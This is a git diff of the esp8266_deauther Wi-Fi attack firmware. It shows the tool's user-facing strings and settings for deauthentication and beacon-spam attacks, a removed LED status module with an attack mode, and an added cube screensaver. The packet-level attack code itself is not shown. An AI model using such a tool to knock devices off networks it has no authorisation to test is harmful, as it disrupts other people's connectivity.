const char N_SELECTED_ALL[] PROGMEM = "Selected all device names";
|
||||
const char N_DESELECTED_ALL[] PROGMEM = "Deselected all device names";
|
||||
|
||||
// ===== SSIDs ===== //
|
||||
const char SS_LOADED[] PROGMEM = "SSIDs loaded from ";
|
||||
const char SS_CLEARED[] PROGMEM = "Cleared SSID list";
|
||||
const char SS_SAVED[] PROGMEM = "SSIDs saved";
|
||||
const char SS_SAVED_IN[] PROGMEM = "SSIDs saved in ";
|
||||
const char SS_REMOVED[] PROGMEM = "Removed SSID ";
|
||||
const char SS_ERROR_FULL[] PROGMEM =
|
||||
"ERROR: SSID list is full! Remove some SSIDs first or run command with -f (force) parameter.";
|
||||
const char SS_ADDED[] PROGMEM = "Added SSID ";
|
||||
const char SS_REPLACED[] PROGMEM = "Replaced SSID ";
|
||||
const char SS_TABLE_HEADER[] PROGMEM = "ID Enc. SSID";
|
||||
const char SS_TABLE_DIVIDER[] PROGMEM = "=========================================";
|
||||
const char SS_HEADER[] PROGMEM = "[===== SSIDs =====]";
|
||||
const char SS_ERROR_EMPTY[] PROGMEM = "SSID list is empty :(";
|
||||
const char SS_RANDOM_ENABLED[] PROGMEM = "SSID random mode enabled";
|
||||
const char SS_RANDOM_DISABLED[] PROGMEM = "SSID random mode deactivated";
|
||||
const char SS_JSON_SSIDS[] PROGMEM = "ssids";
|
||||
const char SS_JSON_RANDOM[] PROGMEM = "random";
|
||||
const char SS_JSON_DEFAULT[] PROGMEM = "{\"random\":false,\"ssids\":[[\"Never gonna give you up\",false,23],[\"Never gonna let you down\",false,24],[\"Never gonna run around\",false,22],[\"Never gonna make you cry\",false,24],[\"Never gonna say goodbye\",false,23],[\"Never gonna tell a lie\",false,22],[\"Never gonna hurt you\",false,20],[\"Never gonna desert you\",false,22]]}";
|
||||
const char SS_RANDOM_INFO[] PROGMEM = "Generating new SSIDs... Type \"disable random\" to stop the random mode";
|
||||
|
||||
// ===== SCAN ==== //
|
||||
const char SC_START_CLIENT[] PROGMEM = "Starting Scan for stations (client devices) - ";
|
||||
const char SS_START_SNIFFER[] PROGMEM = "Starting packet sniffer - ";
|
||||
const char SC_ERROR_NO_AP[] PROGMEM =
|
||||
"ERROR: AP-list empty! Can't scan for clients, please Scan for Accesspoints first.";
|
||||
const char SC_INFINITELY[] PROGMEM = " infinitely";
|
||||
const char SC_ON_CHANNEL[] PROGMEM = " on channel ";
|
||||
const char SC_START_AP[] PROGMEM = "Starting scan for access points (Wi-Fi networks)...";
|
||||
const char SC_ONE_TO[] PROGMEM = "1 - ";
|
||||
const char SC_STOPPED[] PROGMEM = "Stopped scan";
|
||||
const char SC_RESTRAT[] PROGMEM = "Scan will restart in ";
|
||||
const char SC_CONTINUE[] PROGMEM = "s - type stop to disable the continuous mode";
|
||||
const char SC_RESTART[] PROGMEM = "restarting in ";
|
||||
const char SC_ERROR_MODE[] PROGMEM = "ERROR: Invalid scan mode ";
|
||||
const char SC_OUTPUT_A[] PROGMEM = "Scanning WiFi [%+2u%%]: %+3u packets/s | %+2u devices | %+2u deauths\r\n";
|
||||
const char SC_OUTPUT_B[] PROGMEM = "Scanning WiFi: %+3u packets/s | %+2u devices | %+2u deauths\r\n";
|
||||
const char SC_JSON_APS[] PROGMEM = "aps";
|
||||
const char SC_JSON_STATIONS[] PROGMEM = "stations";
|
||||
const char SC_JSON_NAMES[] PROGMEM = "names";
|
||||
const char SC_SAVED[] PROGMEM = "Saved scan results";
|
||||
const char SC_SAVED_IN[] PROGMEM = "Scan results saved in ";
|
||||
const char SC_MODE_OFF[] PROGMEM = "-";
|
||||
const char SC_MODE_AP[] PROGMEM = "APs";
|
||||
const char SC_MODE_ST[] PROGMEM = "STs";
|
||||
const char SC_MODE_ALL[] PROGMEM = "AP+ST";
|
||||
const char SC_MODE_SNIFFER[] PROGMEM = "Sniffer";
|
||||
|
||||
// ===== FUNCTIONS ===== //
|
||||
const char F_ERROR_MAC[] PROGMEM = "ERROR: MAC address invalid";
|
||||
const char F_COLOR_INVALID[] PROGMEM = "ERROR: Color code invalid";
|
||||
const char F_ERROR_READING_FILE[] PROGMEM = "ERROR: reading file ";
|
||||
const char F_LINE[] PROGMEM = "[%d] ";
|
||||
const char F_ERROR_FILE[] PROGMEM = "ERROR: File doesn't exist ";
|
||||
const char F_ERROR_OPEN[] PROGMEM = "ERROR couldn't open ";
|
||||
const char F_ERROR_PARSING_JSON[] PROGMEM = "ERROR parsing JSON ";
|
||||
const char F_ERROR_TO_BIG[] PROGMEM = "ERROR file too big ";
|
||||
const char F_TMP[] PROGMEM = "/tmp";
|
||||
const char F_COPY[] PROGMEM = "_copy";
|
||||
const char F_ERROR_SAVING[] PROGMEM = "ERROR: saving file. Try 'format' and restart - ";
|
||||
|
||||
// ===== WIFI ===== //
|
||||
const char W_STOPPED_AP[] PROGMEM = "Stopped Access Point";
|
||||
const char W_AP_REQUEST[] PROGMEM = "[AP] request: ";
|
||||
const char W_AP[] PROGMEM = "AP";
|
||||
const char W_STATION[] PROGMEM = "Station";
|
||||
const char W_MODE_OFF[] PROGMEM = "OFF";
|
||||
const char W_MODE_AP[] PROGMEM = "AP";
|
||||
const char W_MODE_ST[] PROGMEM = "STATION";
|
||||
const char W_OK[] PROGMEM = " OK";
|
||||
const char W_NOT_FOUND[] PROGMEM = " NOT FOUND";
|
||||
const char W_BAD_ARGS[] PROGMEM = "BAD ARGS";
|
||||
const char W_BAD_PATH[] PROGMEM = "BAD PATH";
|
||||
const char W_FILE_NOT_FOUND[] PROGMEM = "ERROR 404 File Not Found";
|
||||
const char W_STARTED_AP[] PROGMEM = "Started AP";
|
||||
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
|
||||
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
|
||||
|
||||
const char W_HTML[] PROGMEM = "text/html";
|
||||
const char W_CSS[] PROGMEM = "text/css";
|
||||
const char W_JS[] PROGMEM = "application/javascript";
|
||||
const char W_PNG[] PROGMEM = "image/png";
|
||||
const char W_GIF[] PROGMEM = "image/gif";
|
||||
const char W_JPG[] PROGMEM = "image/jpeg";
|
||||
const char W_ICON[] PROGMEM = "image/x-icon";
|
||||
const char W_XML[] PROGMEM = "text/xml";
|
||||
const char W_XPDF[] PROGMEM = "application/x-pdf";
|
||||
const char W_XZIP[] PROGMEM = "application/x-zip";
|
||||
const char W_GZIP[] PROGMEM = "application/x-gzip";
|
||||
const char W_JSON[] PROGMEM = "application/json";
|
||||
const char W_TXT[] PROGMEM = "text/plain";
|
||||
|
||||
const char W_DOT_HTM[] PROGMEM = ".htm";
|
||||
const char W_DOT_HTML[] PROGMEM = ".html";
|
||||
const char W_DOT_CSS[] PROGMEM = ".css";
|
||||
const char W_DOT_JS[] PROGMEM = ".js";
|
||||
const char W_DOT_PNG[] PROGMEM = ".png";
|
||||
const char W_DOT_GIF[] PROGMEM = ".gif";
|
||||
const char W_DOT_JPG[] PROGMEM = ".jpg";
|
||||
const char W_DOT_ICON[] PROGMEM = ".ico";
|
||||
const char W_DOT_XML[] PROGMEM = ".xml";
|
||||
const char W_DOT_PDF[] PROGMEM = ".pdf";
|
||||
const char W_DOT_ZIP[] PROGMEM = ".zip";
|
||||
const char W_DOT_GZIP[] PROGMEM = ".gz";
|
||||
const char W_DOT_JSON[] PROGMEM = ".json";
|
||||
|
||||
// ===== SETTINGS ====== //
|
||||
// Version
|
||||
const char S_JSON_VERSION[] PROGMEM = "version";
|
||||
|
||||
// Autosave
|
||||
const char S_JSON_AUTOSAVE[] PROGMEM = "autosave";
|
||||
const char S_JSON_AUTOSAVETIME[] PROGMEM = "autosavetime";
|
||||
|
||||
// Attack
|
||||
const char S_JSON_BEACONCHANNEL[] PROGMEM = "beaconchannel";
|
||||
const char S_JSON_RANDOMTX[] PROGMEM = "randomTX";
|
||||
const char S_JSON_ATTACKTIMEOUT[] PROGMEM = "attacktimeout";
|
||||
const char S_JSON_DEAUTHSPERTARGET[] PROGMEM = "deauthspertarget";
|
||||
const char S_JSON_DEAUTHREASON[] PROGMEM = "deauthReason";
|
||||
const char S_JSON_BEACONINTERVAL[] PROGMEM = "beaconInterval";
|
||||
const char S_JSON_PROBESPERSSID[] PROGMEM = "probesPerSSID";
|
||||
|
||||
// WiFi
|
||||
const char S_JSON_CHANNEL[] PROGMEM = "channel";
|
||||
const char S_JSON_MACST[] PROGMEM = "macSt";
|
||||
const char S_JSON_MACAP[] PROGMEM = "macAP";
|
||||
|
||||
// Sniffer
|
||||
const char S_JSON_CHTIME[] PROGMEM = "chtime";
|
||||
const char S_JSON_MIN_DEAUTHS[] PROGMEM = "minDeauths";
|
||||
|
||||
// AP
|
||||
const char S_JSON_SSID[] PROGMEM = "ssid";
|
||||
const char S_JSON_PASSWORD[] PROGMEM = "password";
|
||||
const char S_JSON_HIDDEN[] PROGMEM = "hidden";
|
||||
const char S_JSON_IP[] PROGMEM = "ip";
|
||||
|
||||
// Web
|
||||
const char S_JSON_WEBINTERFACE[] PROGMEM = "webinterface";
|
||||
const char S_JSON_CAPTIVEPORTAL[] PROGMEM = "captivePortal";
|
||||
const char S_JSON_WEB_SPIFFS[] PROGMEM = "webSpiffs";
|
||||
const char S_JSON_LANG[] PROGMEM = "lang";
|
||||
|
||||
// CLI
|
||||
const char S_JSON_SERIALINTERFACE[] PROGMEM = "serial";
|
||||
const char S_JSON_SERIAL_ECHO[] PROGMEM = "serialEcho";
|
||||
|
||||
// LED
|
||||
const char S_JSON_LEDENABLED[] PROGMEM = "led";
|
||||
|
||||
// Display
|
||||
const char S_JSON_DISPLAYINTERFACE[] PROGMEM = "display";
|
||||
const char S_JSON_DISPLAY_TIMEOUT[] PROGMEM = "displayTimeout";
|
|
@ -1,135 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "led.h"
|
||||
|
||||
#include "A_config.h" // Config for LEDs
|
||||
#include <Arduino.h> // digitalWrite, analogWrite, pinMode
|
||||
#include "language.h" // Strings used in printColor and tempDisable
|
||||
#include "settings.h" // used in update()
|
||||
#include "Attack.h" // used in update()
|
||||
#include "Scan.h" // used in update()
|
||||
|
||||
// Inlcude libraries for Neopixel or LED_MY92xx if used
|
||||
#if defined(LED_NEOPIXEL)
|
||||
#include "src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h"
|
||||
#elif defined(LED_MY92)
|
||||
#include "src/my92xx-3.0.3/my92xx.h"
|
||||
#elif defined(LED_DOTSTAR)
|
||||
#include "src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h"
|
||||
#endif // if defined(LED_NEOPIXEL)
|
||||
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
|
||||
namespace led {
|
||||
// ===== PRIVATE ===== //
|
||||
LED_MODE mode = OFF;
|
||||
|
||||
#if defined(LED_NEOPIXEL_RGB)
|
||||
Adafruit_NeoPixel strip { LED_NUM, LED_NEOPIXEL_PIN, NEO_RGB + NEO_KHZ800 };
|
||||
#elif defined(LED_NEOPIXEL_GRB)
|
||||
Adafruit_NeoPixel strip { LED_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800 };
|
||||
#elif defined(LED_MY92)
|
||||
my92xx myled { LED_MY92_MODEL, LED_NUM, LED_MY92_DATA, LED_MY92_CLK, MY92XX_COMMAND_DEFAULT };
|
||||
#elif defined(LED_DOTSTAR)
|
||||
Adafruit_DotStar strip { LED_NUM, LED_DOTSTAR_DATA, LED_DOTSTAR_CLK, DOTSTAR_BGR };
|
||||
#endif // if defined(LED_NEOPIXEL_RGB)
|
||||
|
||||
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
#if defined(LED_DIGITAL)
|
||||
if (LED_ANODE) {
|
||||
if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r > 0);
|
||||
if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g > 0);
|
||||
if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b > 0);
|
||||
} else {
|
||||
if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r == 0);
|
||||
if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g == 0);
|
||||
if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b == 0);
|
||||
}
|
||||
#elif defined(LED_RGB)
|
||||
if (r > 0) r = r * LED_MODE_BRIGHTNESS / 100;
|
||||
if (g > 0) g = g * LED_MODE_BRIGHTNESS / 100;
|
||||
if (b > 0) b = b * LED_MODE_BRIGHTNESS / 100;
|
||||
|
||||
if (LED_ANODE) {
|
||||
r = 255 - r;
|
||||
g = 255 - g;
|
||||
b = 255 - b;
|
||||
}
|
||||
|
||||
analogWrite(LED_PIN_R, r);
|
||||
analogWrite(LED_PIN_G, g);
|
||||
analogWrite(LED_PIN_B, b);
|
||||
#elif defined(LED_NEOPIXEL) || defined(LED_DOTSTAR)
|
||||
|
||||
for (size_t i = 0; i < strip.numPixels(); i++) {
|
||||
strip.setPixelColor(i, r, g, b);
|
||||
}
|
||||
|
||||
strip.show();
|
||||
#elif defined(LED_MY9291)
|
||||
myled.setChannel(LED_MY92_CH_R, r);
|
||||
myled.setChannel(LED_MY92_CH_G, g);
|
||||
myled.setChannel(LED_MY92_CH_B, b);
|
||||
myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);
|
||||
myled.setState(true);
|
||||
myled.update();
|
||||
#endif // if defined(LED_DIGITAL)
|
||||
}
|
||||
|
||||
// ===== PUBLIC ===== //
|
||||
void setup() {
|
||||
analogWriteRange(0xff);
|
||||
|
||||
#if defined(LED_DIGITAL) || defined(LED_RGB)
|
||||
if (LED_PIN_R < 255) pinMode(LED_PIN_R, OUTPUT);
|
||||
if (LED_PIN_G < 255) pinMode(LED_PIN_G, OUTPUT);
|
||||
if (LED_PIN_B < 255) pinMode(LED_PIN_B, OUTPUT);
|
||||
#elif defined(LED_NEOPIXEL) || defined(LED_DOTSTAR)
|
||||
strip.begin();
|
||||
strip.setBrightness(LED_MODE_BRIGHTNESS);
|
||||
strip.show();
|
||||
#elif defined(LED_MY9291)
|
||||
myled.setChannel(LED_MY92_CH_R, 0);
|
||||
myled.setChannel(LED_MY92_CH_G, 0);
|
||||
myled.setChannel(LED_MY92_CH_B, 0);
|
||||
myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);
|
||||
myled.setState(true);
|
||||
myled.update();
|
||||
#endif // if defined(LED_DIGITAL) || defined(LED_RGB)
|
||||
}
|
||||
|
||||
void update() {
|
||||
if (!settings::getLEDSettings().enabled) {
|
||||
setMode(OFF);
|
||||
} else if (scan.isScanning() && (scan.deauths < settings::getSnifferSettings().min_deauth_frames)) {
|
||||
setMode(SCAN);
|
||||
} else if (attack.isRunning()) {
|
||||
setMode(ATTACK);
|
||||
} else {
|
||||
setMode(IDLE);
|
||||
}
|
||||
}
|
||||
|
||||
void setMode(LED_MODE new_mode, bool force) {
|
||||
if ((new_mode != mode) || force) {
|
||||
mode = new_mode;
|
||||
|
||||
switch (mode) {
|
||||
case OFF:
|
||||
setColor(LED_MODE_OFF);
|
||||
break;
|
||||
case SCAN:
|
||||
setColor(LED_MODE_SCAN);
|
||||
break;
|
||||
case ATTACK:
|
||||
setColor(LED_MODE_ATTACK);
|
||||
break;
|
||||
case IDLE:
|
||||
setColor(LED_MODE_IDLE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,19 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
|
||||
enum LED_MODE {
|
||||
OFF,
|
||||
SCAN,
|
||||
ATTACK,
|
||||
IDLE
|
||||
};
|
||||
|
||||
namespace led {
|
||||
void setup();
|
||||
void update();
|
||||
void setMode(LED_MODE new_mode, bool force = false);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
}
|
63785
esp8266_deauther/oui.h
63785
esp8266_deauther/oui.h
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,240 @@
|
|||
#ifdef USE_DISPLAY
|
||||
|
||||
time_t lastactivity = millis();
|
||||
time_t saveeafter = 100000; // millesecs before screensaver start
|
||||
time_t screensavertimer = 0;
|
||||
|
||||
|
||||
float angleX, angleY, angleZ;
|
||||
float lastAngleX, lastAngleY, lastAngleZ;
|
||||
|
||||
#define DEBUG false
|
||||
|
||||
const double halfC = M_PI / 180;
|
||||
|
||||
// Overall scale and perspective distance
|
||||
uint8_t sZ = 4, scale = 16, scaleMax = 16;
|
||||
// screen center coordinates (calculated from screen dimensions)
|
||||
uint8_t centerX = 64;
|
||||
uint8_t centerY = 32;
|
||||
|
||||
typedef struct {
|
||||
double x;
|
||||
double y;
|
||||
double z;
|
||||
} Coord3DSet;
|
||||
|
||||
typedef struct {
|
||||
double x;
|
||||
double y;
|
||||
} Coord2DSet;
|
||||
|
||||
typedef struct {
|
||||
uint16_t id1;
|
||||
uint16_t id2;
|
||||
} Lines;
|
||||
|
||||
|
||||
/* https://codepen.io/ge1doot/pen/grWrLe */
|
||||
|
||||
static Coord3DSet CubePoints3DArray[21] = {
|
||||
{ 1, 1, 1 },
|
||||
{ 1, 1, -1 },
|
||||
{ 1, -1, 1 },
|
||||
{ 1, -1, -1 },
|
||||
{ -1, 1, 1 },
|
||||
{ -1, 1, -1 },
|
||||
{ -1, -1, 1 },
|
||||
{ -1, -1, -1 },
|
||||
|
||||
{ 1, 1, 0 },
|
||||
{ 1, 0, 1 },
|
||||
{ 0, 1, 1 },
|
||||
|
||||
{ -1, 1, 0 },
|
||||
{ -1, 0, 1 },
|
||||
{ 0, -1, 1 },
|
||||
|
||||
{ 1, -1, 0 },
|
||||
{ 1, 0, -1 },
|
||||
{ 0, 1, -1 },
|
||||
|
||||
{ -1, -1, 0 },
|
||||
{ -1, 0, -1 },
|
||||
{ 0, -1, -1 },
|
||||
|
||||
{0, 0, 0}
|
||||
|
||||
};
|
||||
|
||||
static Coord3DSet CubePoints2DArray[21] = {
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
{ 0,0 },
|
||||
|
||||
{ 0,0 }
|
||||
};
|
||||
|
||||
static Lines LinesArray[12] = {
|
||||
{ 0, 1 },
|
||||
{ 0, 2 },
|
||||
{ 0, 4 },
|
||||
{ 1, 3 },
|
||||
{ 1, 5 },
|
||||
{ 2, 3 },
|
||||
{ 2, 6 },
|
||||
{ 3, 7 },
|
||||
{ 4, 5 },
|
||||
{ 4, 6 },
|
||||
{ 5, 7 },
|
||||
{ 6, 7 }
|
||||
/*
|
||||
{ 1, 4 },
|
||||
{ 2, 3 },
|
||||
{ 1, 6 },
|
||||
{ 2, 5 },
|
||||
{ 2, 8 },
|
||||
{ 6, 4 },
|
||||
{ 4, 7 },
|
||||
{ 3, 8 },
|
||||
{ 1, 7 },
|
||||
{ 3, 5 },
|
||||
{ 5, 8 },
|
||||
{ 7, 6 }
|
||||
*/
|
||||
|
||||
};
|
||||
|
||||
// used for sorting points by depth
|
||||
uint16_t zsortedpoints[21] = {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20};
|
||||
|
||||
uint16_t totalpoints = sizeof(CubePoints3DArray) / sizeof(CubePoints3DArray[0]);
|
||||
uint16_t totallines = sizeof(LinesArray) / sizeof(LinesArray[0]);
|
||||
|
||||
|
||||
void vectorRotateXYZ(double angle, int axe) {
|
||||
int8_t m1; // coords polarity
|
||||
uint8_t i1, i2; // coords index
|
||||
double t1, t2;
|
||||
uint16_t i;
|
||||
for( i=0; i<totalpoints; i++ ) {
|
||||
switch(axe) {
|
||||
case 1: // X
|
||||
m1 = -1;
|
||||
t1 = CubePoints3DArray[i].y;
|
||||
t2 = CubePoints3DArray[i].z;
|
||||
CubePoints3DArray[i].y = t1*cos(angle)+(m1*t2)*sin(angle);
|
||||
CubePoints3DArray[i].z = (-m1*t1)*sin(angle)+t2*cos(angle);
|
||||
break;
|
||||
case 2: // Y
|
||||
m1 = 1;
|
||||
t1 = CubePoints3DArray[i].x;
|
||||
t2 = CubePoints3DArray[i].z;
|
||||
CubePoints3DArray[i].x = t1*cos(angle)+(m1*t2)*sin(angle);
|
||||
CubePoints3DArray[i].z = (-m1*t1)*sin(angle)+t2*cos(angle);
|
||||
break;
|
||||
case 3: // Z
|
||||
m1 = 1;
|
||||
t1 = CubePoints3DArray[i].x;
|
||||
t2 = CubePoints3DArray[i].y;
|
||||
CubePoints3DArray[i].x = t1*cos(angle)+(m1*t2)*sin(angle);
|
||||
CubePoints3DArray[i].y = (-m1*t1)*sin(angle)+t2*cos(angle);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* sort xyz by z depth */
|
||||
void zSortPoints() {
|
||||
bool swapped;
|
||||
uint16_t temp;
|
||||
float radius, nextradius;
|
||||
do {
|
||||
swapped = false;
|
||||
for(uint16_t i=0; i!=totalpoints-1; i++ ) {
|
||||
radius = (-CubePoints3DArray[zsortedpoints[i]].z+3)*2;
|
||||
nextradius = (-CubePoints3DArray[zsortedpoints[i+1]].z+3)*2;
|
||||
if (radius > nextradius) {
|
||||
temp = zsortedpoints[i];
|
||||
zsortedpoints[i] = zsortedpoints[i + 1];
|
||||
zsortedpoints[i + 1] = temp;
|
||||
swapped = true;
|
||||
}
|
||||
}
|
||||
} while (swapped);
|
||||
}
|
||||
|
||||
|
||||
/* draw scaled spheres from background to foreground */
|
||||
void spherePlot() {
|
||||
uint16_t i;
|
||||
int radius, halfradius;
|
||||
int transid;
|
||||
for( i=0; i<totalpoints; i++ ) {
|
||||
transid = zsortedpoints[i];
|
||||
CubePoints2DArray[transid].x = centerX + scale/(1+CubePoints3DArray[transid].z/sZ)*CubePoints3DArray[transid].x;
|
||||
CubePoints2DArray[transid].y = centerY + scale/(1+CubePoints3DArray[transid].z/sZ)*CubePoints3DArray[transid].y;
|
||||
radius = (-CubePoints3DArray[transid].z+3)*2.5;
|
||||
halfradius = radius / 2;
|
||||
display.setColor(BLACK);
|
||||
//display.fillCircle(CubePoints2DArray[transid].x, CubePoints2DArray[transid].y, radius-1);
|
||||
display.fillCircle(CubePoints2DArray[transid].x, CubePoints2DArray[transid].y, radius+1);
|
||||
display.setColor(WHITE);
|
||||
display.drawCircle(CubePoints2DArray[transid].x, CubePoints2DArray[transid].y, radius);
|
||||
display.fillCircle(CubePoints2DArray[transid].x+halfradius-1, CubePoints2DArray[transid].y+halfradius-1, halfradius);
|
||||
}
|
||||
}
|
||||
|
||||
/* draw lines between given pairs of points */
|
||||
void meshPlot() {
|
||||
uint16_t i;
|
||||
uint16_t id1, id2;
|
||||
for( i=0; i<totallines; i++ ) {
|
||||
id1 = LinesArray[i].id1;
|
||||
id2 = LinesArray[i].id2;
|
||||
display.drawLine(CubePoints2DArray[id1].x, CubePoints2DArray[id1].y, CubePoints2DArray[id2].x, CubePoints2DArray[id2].y);
|
||||
}
|
||||
}
|
||||
|
||||
void drawScreenSaver() {
|
||||
|
||||
float diffAngleX, diffAngleY, diffAngleZ;
|
||||
|
||||
diffAngleX = lastAngleX - angleX;
|
||||
diffAngleY = lastAngleY - angleY;
|
||||
diffAngleZ = lastAngleZ - angleZ;
|
||||
|
||||
vectorRotateXYZ((double)(diffAngleY+0.1)*halfC, 1); // X
|
||||
vectorRotateXYZ((double)(diffAngleX+0.1)*halfC, 2); // Y
|
||||
vectorRotateXYZ((double)diffAngleZ*halfC, 3); // Z
|
||||
|
||||
zSortPoints();
|
||||
display.clear();
|
||||
meshPlot();
|
||||
spherePlot();
|
||||
display.display();
|
||||
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue